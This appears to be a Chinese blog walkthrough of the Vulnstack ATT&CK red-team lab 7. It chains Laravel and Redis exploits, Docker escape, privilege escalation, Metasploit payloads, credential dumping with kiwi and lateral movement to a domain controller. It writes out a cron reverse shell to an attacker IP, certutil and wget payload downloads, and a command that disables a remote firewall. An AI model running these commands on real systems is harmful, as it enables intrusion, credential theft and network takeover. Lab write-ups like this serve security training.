ATT&CK红队评估实战靶场(七)

前言

好久没打过靶机了,ATT&CK红队评估实战靶场(七)

漏洞利用

漏洞搜索与利用

Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
Docker逃逸
通达OA v11.3 漏洞利用
Linux环境变量提权
Redis 未授权访问漏洞
Linux sudo权限提升(CVE-2021-3156)漏洞利用
SSH密钥利用
Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
MS14-068漏洞利用

环境搭建

环境配置

在Vmware中新增两个虚拟网卡VMnet8、VMnet14

VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网

攻击机kali:192.168.42.224
web1:192.168.42.30

服务配置

DMZ区的 Ubuntu 需要启动nginx服务:

redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 2)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

域用户信息

域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:
web:web2021

Ubuntu 2:
ubuntu:ubuntu

通达OA账户:
admin:admin657260

外网渗透

Laravel Debug mode RCE漏洞利用

ip扫描

nmap -T4 -sV -A 192.168.42.30 -p 1-65535


开启了 22 80 81 6379端口

22 ssh端口不说了,80端口是一个博客,没有什么利用点

访问81端口发现是Laravel框架且版本是 Laravel v8.29.0 (PHP v7.4.14)

搜索到漏洞CVE-2021-3129,Exp工具直接打一波

工具:laravel-CVE-2021-3129-EXP


这个shell哥斯拉3.03没连接上可能要使用旧版哥斯拉才能连接,又找到一款写入一句话的工具:

laravel-CVE-2021-3129-EXP

成功getshell

发现是docker环境

hostname
ls -alh /.dockerenv
cat /proc/1/cgroup

Redis未授权

先上两篇文章

Redis系列漏洞总结 - FreeBuf网络安全行业门户
Redis 常见漏洞利用方法总结 - 云+社区 - 腾讯云 (tencent.com)

还有一个 6379端口 没有测试,要充分发挥所收集到的信息加以利用

Redis:


先安装个客户端

#安装
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo cp src/redis-cli /usr/local/bin/

先尝试连接redis:


连接成功,尝试写ssh 公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key



接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端Redis的缓冲里:

ssh-keygen -t rsa  //主机生成公钥

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > cys.txt //将公钥导入cys.txt文件,避免数据混合用 '\n'

cat cys.txt | redis-cli -h 192.168.42.30 -p 6379 -x set cys //把cys.txt文件内容写入目标主机的redis缓冲中,key为cys
// -x 代表从标准输入读取数据作为该命令的最后一个参数


然后,使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上

config set dir /root/.ssh      # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名authorized_keys
save # 将数据保存在目标服务器硬盘上
ssh 192.168.213.188 #连接


攻击机ssh直接连接:

先看一手IP信息发现两个网段



发现nginx服务:


看一下配置文件:


81端口是反代另一个网段的机器的8000端口,结合webshell的docker环境,所以说,web1反代了web2的docker,那么接下来就是利用docker逃逸来控制第二台机器

反弹dockershell

按说,第二层网络是nat,应该是能访问到kali的,所以这里我能反弹dockers的shell,但是这个师傅说docker不出网,可能是前面的网络配置不同吧

后来想了一下,真实环境中,web2应该处于内网中,肯定不能访问kali,所以将docker的shell反弹到web1上,将web1作为跳板机

反弹shell的方式也有很多了,bash一句话,msf,python起一个httpserver等

bash一句话:

docker提权–环境变量提权

现在的docker权限是一个www-data,先将权限提升一下

能想到的是内核提权,但是这里学习到了一个新的方法,环境变量提权

在Linux中使用环境变量进行提权

这里就必须了解一下 $PATH是个什么

PATH变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以运行。PATH的值是一系列目录,echo $PATH 可以显示环境变量


那么第一步就是先寻找带有SUID的文件,Linux SetUID(SUID)文件特殊权限用法详解

简单来说,对于一个可执行文件,当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

-perm -u=s : 所有者权限有s权限的目录或文件
-type f : 文件类型是一般文件
2>/dev/null : 标准输出错误输入到空(就是错误不显示)

发现一个shell

看一下:

运行ps命令,但是没有使用绝对路径

那么我们尝试更改 $PATH 来执行我们的恶意程序,从而获得目标主机的高权限shell

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

个人理解:当运行./shell 时,执行系统命令 ps 这个命令本应该在/usr/bin下执行,但是我们添加了一个同名ps且可执行,并且在 $PATH 中 /tmp 处于最开头,所以 先执行了/tmp下的恶意ps,而且因为./shell的s权限,所以在执行恶意 ps 时会以 root 身份执行

将docker的root权限一句话反弹到web1,www-data的shell可以扔掉了

docker逃逸

毕竟是一个docker环境,肯定要进行逃逸

那么基本就三种逃逸方式了:

一、由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
二、由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
三、由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式

这里利用特权模式进行逃逸

原理

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

fdisk -l   //查看磁盘文件

mkdir /cyshack   //创建 cyshack文件夹
mount /dev/sda1 /cyshack //将设备挂载到新目录下
ls /cyshack //查看是否挂载成功


挂载成功,写入计划任务

echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/7002 0>&1' >> /cyshack/var/spool/cron/root

但是没有响应


再次尝试写ssh密钥,发现/cyshack/root下没有.ssh目录


再看一下/cyshack/home/ubuntu\


那么就往这里写ssh秘钥,这里还是要在web1上进行写ssh

ssh-keygen -f cyshack
chmod 600 cyshack

cp -avx /cyshack/home/ubuntu/.ssh/id_rsa.pub /cyshack/home/ubuntu/.ssh/authorized_keys 
// -avx 将权限也一起复制

echo > authorized_keys //将内容清空

echo '生成的.pub内容' > authorized_keys //将ssh秘钥写入


用web1尝试ssh连接 web2:

ssh -i cyshack [email protected]


获取到了web2的ubuntu用户的shell

又发现一个93网段

CVE-2021-3493

影响版本:

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

将web2的ubuntu进行提权

exp:CVE-2021-3493/exploit.c at main · briskets

vim exploit.c #将下载的exploit.c的内容粘贴到该文件中
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit

上线MSF

将这两台root机器上线到msf

Web1:

可以msfvenom生成,web1再执行wget并运行,来反弹shell

这里直接运用 web_delivery 进行上线,记得切换payloadtarget



下一步就是添加路由上线web2,msf更新后,添加路由更方便了

run post/multi/manage/autoroute

生成木马,这里运用 bind_tcp

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=8003 -f elf >shell2.elf

这里怎么让这个木马传到web2呢?因为它不出网,所以web1利用 python起一个httpserver 然后web2利用wget这个木马

上传木马到web1

upload ./shell.elf /tmp

web1起一个服务:注意路径,要起到木马的目录下

python3 -m http.server


web2进行下载:

wget http://192.168.52.10:8000/shell.elf
chmod +x shell.elf
./shell.elf


运行上线


至此有两个机器的shell

二层网络渗透

添加路由,添加代理(socks_proxy模块记得开启)

信息收集

内网扫描,先扫52网段,有个问题是,pc1开启防火墙,msf 和 nmap都试了几个都没能扫出来,怎么破?


最后 netbios 破了,但是只扫出来一次,os为windows


Nmap扫一下pc1,没扫出来,哎,先手动关了防火墙,进行下面的

proxychains nmap -Pn -sT -sV -F  192.168.52.30


发现8080有一个 http 服务

再扫一下版本信息,win7 还存在域环境


既然是win7,ms17_010



失败了

添加代理 访问 http 服务

看看http服务吧,浏览器先添加代理

在这里插入图片描述
或者proxy代理工具,根据情况自动调整


访问:


信息收集:/inc/expired.php

漏洞利用

通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell - 知乎 (zhihu.com)

Burpsuite设置socks代理,不知道为什么socks4不能用:

上传:

post:

http://192.168.52.30:8080//ispirit/interface/gateway.php

json={"url":"/general/../../attach/im/2108/1888762391.jpg"}&cmd=net user

上线msf

Msf利用web_delivery

生成powershell

在这里插入图片描述

这里没有上线成功

想着让win7主动下载木马

这里我偷个懒直接攻击机起一个服务,在真实渗透环境中,应该上传到跳板机上

让win7主动下载

certutil -urlcache -split -f http://192.168.42.224/shell3.exe


开启监听:


没反应,传一个 bind_tcp的马


监听换个payload,再次执行上面

上线成功:

三层网络信息收集

降权

先看一下权限


System权限,为了方便信息收集,将当前权限降为普通域用户,因为不是域用户没有权限执行域命令

getuid //查看当前token
use incognito //加载incognito
list_tokens -u //列出accesstoken
impersonate_token "DEMO\douser" //模拟"DEMO\douser”用户
rev2self //返回之前的accesstoken权限


降权成功


进入shell失败,那么 进程迁移到域用户,这里迁移了好几个都是system权限,还得多学习这方面

域信息收集

利用域用户进行信息收集


域用户


域内机器


域内其他主机名:


域控列表


域控ip


域管


整理:当前PC1(192.168.93.20)存在域环境,域控DC(192.168.93.30)和PC2(192.168.93.40) 域管账户为administrator

抓取密码

因为抓密码要system权限,所以我们再打一个system权限

load kiwi
creds_all


抓取到密码:

bunny:Bunny2021
administrator:Whoami2021

开启3389

run post/windows/manage/enable_rdp

proxychains rdesktop -g 1440x900 -r disk:LinuxxDisk=/root/Downloads -u bunny -p "Bunny2021" 192.168.52.30


失败

三层网络渗透

接下来就是王第三层网络进行渗透

添加路由


探测windows版本:

use auxiliary/scanner/smb/smb_version

Ms17-010

先打win7(PC2)失败

我看师傅们都是利用17_010来上线的,打的时候经常断掉,因为抓取过域管密码,所以尝试 ipc

$IPC

建立ipc连接


生成木马:


上传到PC1


共享到PC2


计划任务开启:

at \\192.168.93.40 16:45 c:\houmen.exe


开启监听,成功上线:


删除记录:

net use \\192.168.93.40\ipc$ /del

psexec-域控

尝试域控

Psexec试一下:


失败,原来是防火墙


再次尝试建立ipc并用sc命令关闭域控防火墙

sc \\192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off //创建服务
sc \\192.168.93.30 start unablefirewall //启动服务


再打一遍成功上线:


这里当然也可以用ipc传马

参考

Vulnstack内网靶场渗透记录

自主搭建的三层网络域渗透靶场打靶记录